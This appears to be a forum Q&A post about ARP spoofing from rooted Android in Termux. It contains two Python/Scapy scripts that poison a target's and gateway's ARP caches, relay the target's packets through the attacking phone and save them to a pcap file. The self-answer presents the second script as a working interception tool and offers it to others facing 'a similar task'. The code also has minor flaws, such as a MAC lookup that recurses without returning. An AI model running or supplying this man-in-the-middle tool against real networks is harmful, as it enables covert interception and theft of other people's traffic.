pythonandroidscapytermuxsysctl

IP forwarding on rooted Android using Termux


Is it possible to intercept traffic with ARP-spoofing on Termux(rooted Android)?

I have this python script:

from scapy.all import *
from scapy.interfaces import *
from threading import Thread
import logging
import time
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)


def arp_spoofing():
    eth = Ether()
    arp = ARP(pdst=target_ip, psrc=gateway_ip, op="is-at")
    packet = eth / arp

    while True:
        sendp(packet, iface=iface, verbose=False)
        time.sleep(2)


def get_mac(ip):
    arp_request = ARP(pdst=ip)
    broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast / arp_request

    answ = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
    try:
        return answ[0][1].hwsrc
    except:
        get_mac(ip)


def forward_packet(pkt):
    if pkt[Ether].src == target_mac and pkt[Ether].dst == attacker_mac:
        pkt[Ether].src = attacker_mac
        pkt[Ether].dst = gateway_mac
        sendp(pkt, verbose=False)
    elif pkt[Ether].src == gateway_mac and pkt[Ether].dst == attacker_mac:
        pkt[Ether].src = attacker_mac
        pkt[Ether].dst = target_mac
        sendp(pkt, verbose=False)
    wrpcap(filename, pkt, append=True)
    print(f'-----------------------------------------\nPacket intercepted:\nfrom: {pkt[IP].src}\nto: {pkt[IP].dst}\n')
    layers = []
    for i in range(len(pkt.layers())):
        layers.append(pkt.getlayer(i).name)
    print(f'Network layers: ', end='')
    print(*layers)
    if TCP in pkt:
        print(f'TCP port: {pkt[TCP].dport}')
    print('-----------------------------------------')


def sniffer():
    while True:
        sniff(prn=forward_packet, filter=filter, iface=iface, count=1)


iface = get_working_if()
filename = input('Name of .pcap file: ') + '.pcap'
target_ip = input('Target IP in local network: ')
target_mac = get_mac(target_ip)
gateway_ip = input('Router IP in local network: ')
gateway_mac = get_mac(gateway_ip)
attacker_mac = Ether().src
filter = f'(ip src {target_ip}) or (ip dst {target_ip})'

mitm = Thread(target=arp_spoofing)
proxy = Thread(target=sniffer, daemon=True)
proxy.start()
mitm.start()

It seems to work on Linux desktop with net.ipv4.ip_forward=1, so I tried to enable ip_forward on my Android phone.

I've tried next commands: 1.

echo 1 | sudo grep /proc/sys/net/ipv4/ip_forward
sudo sysctl net.ipv4.ip_forward=1

It changes needed parameter from 0 to 1, but I need to reboot the device to make IP forwarding work. So, when I do it, ip_forward is 0 again.

What should I do to enable IP forwarding and make this changes persistent(save them on reboot)? Or can I redirect traffic using Scapy and Python?


Solution

  • It seems like I've found the solution. There was no need to enable ip_forward. I've simply changed my code:

    from scapy.all import *
    from scapy.interfaces import *
    from threading import Thread
    import logging
    import time
    import sys
    logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
     
     
    def fprint(data):
        sys.stdout(data)
     
     
    def arp_spoofing():
        eth = Ether()
        arp1 = ARP(pdst=gateway_ip, psrc=target_ip, op="is-at")
        arp = ARP(pdst=target_ip, psrc=gateway_ip, op="is-at")
        packet = eth / arp
        packet1 = eth / arp1
     
        while True:
            sendp(packet, iface=iface, verbose=False)
            sendp(packet1, iface=iface, verbose=False)
            time.sleep(10)
     
     
    def get_mac(ip):
        arp_request = ARP(pdst=ip)
        broadcast = Ether(dst="ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast / arp_request
     
        answ = srp(arp_request_broadcast, timeout=1, verbose=False)[0]
        try:
            if answ[0][1].hwsrc is not None:
                return answ[0][1].hwsrc
            else:
                get_mac(ip)
        except:
            get_mac(ip)
     
     
    def forward_packet(pkt):
        if pkt[Ether].src == target_mac and pkt[Ether].dst == attacker_mac:
            pkt[Ether].src = attacker_mac
            pkt[Ether].dst = gateway_mac
            sendp(pkt, verbose=False)
        elif pkt[Ether].src == gateway_mac and pkt[Ether].dst == attacker_mac:
            pkt[Ether].src = attacker_mac
            pkt[Ether].dst = target_mac
            sendp(pkt, verbose=False)
        wrpcap(filename, pkt, append=True)
        print(f'-----------------------------------------\nPacket intercepted:\nfrom: {pkt[IP].src}\nto: {pkt[IP].dst}\n')
        layers = []
        for i in range(len(pkt.layers())):
            layers.append(pkt.getlayer(i).name)
        print(f'Network layers: ', end='')
        print(*layers)
        if TCP in pkt:
            print(f'TCP port: {pkt[TCP].dport}')
        print('-----------------------------------------')
     
     
    def sniffer():
        sniff(prn=forward_packet, filter=filter, iface=iface)
     
     
    iface = get_working_if()
    filename = input('Name of .pcap file: ') + '.pcap'
    target_ip = input('Target IP in local network: ')
    target_mac = get_mac(target_ip)
    gateway_ip = input('Router IP in local network: ')
    gateway_mac = get_mac(gateway_ip)
    attacker_mac = '<MY MAC ADDRESS>'
    filter = f'(ip src {target_ip}) or (ip dst {target_ip})'
     
    mitm = Thread(target=arp_spoofing, daemon=True)
    proxy = Thread(target=sniffer)
    proxy.start()
    mitm.start()
    

    And now it works the way I wanted it to. The target remains connected to the network, and the attacking device intercepts its traffic. I hope my answer will help someone who faces a similar task.